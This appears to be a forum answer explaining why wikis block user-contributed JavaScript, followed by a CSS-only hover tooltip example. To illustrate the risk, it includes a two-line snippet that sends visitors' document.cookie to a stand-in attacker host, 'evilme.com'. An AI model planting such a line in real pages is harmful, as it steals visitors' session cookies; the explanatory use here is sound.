How to enter Javascript into a wiki page?
If the wiki authors are wise, there's probably no way to do this.
The problem with user-contributed JavaScript is that it opens the door for all forms of evil-doers to grab data from the unsuspecting.
Let's suppose evil-me posts a script on a public web site:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
Now I will receive the cookie information of each visitor to the page, posted to a log on my server. And that's just the tip of the iceberg.
Assuming you're the administrator of the wiki and are willing display this on mouseover instead of on click, you don't need javascript at all -- you can use straight CSS. Here's an example of the styles and markup:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
With some more involved styles, your tooltip box can look as nice as you'd like.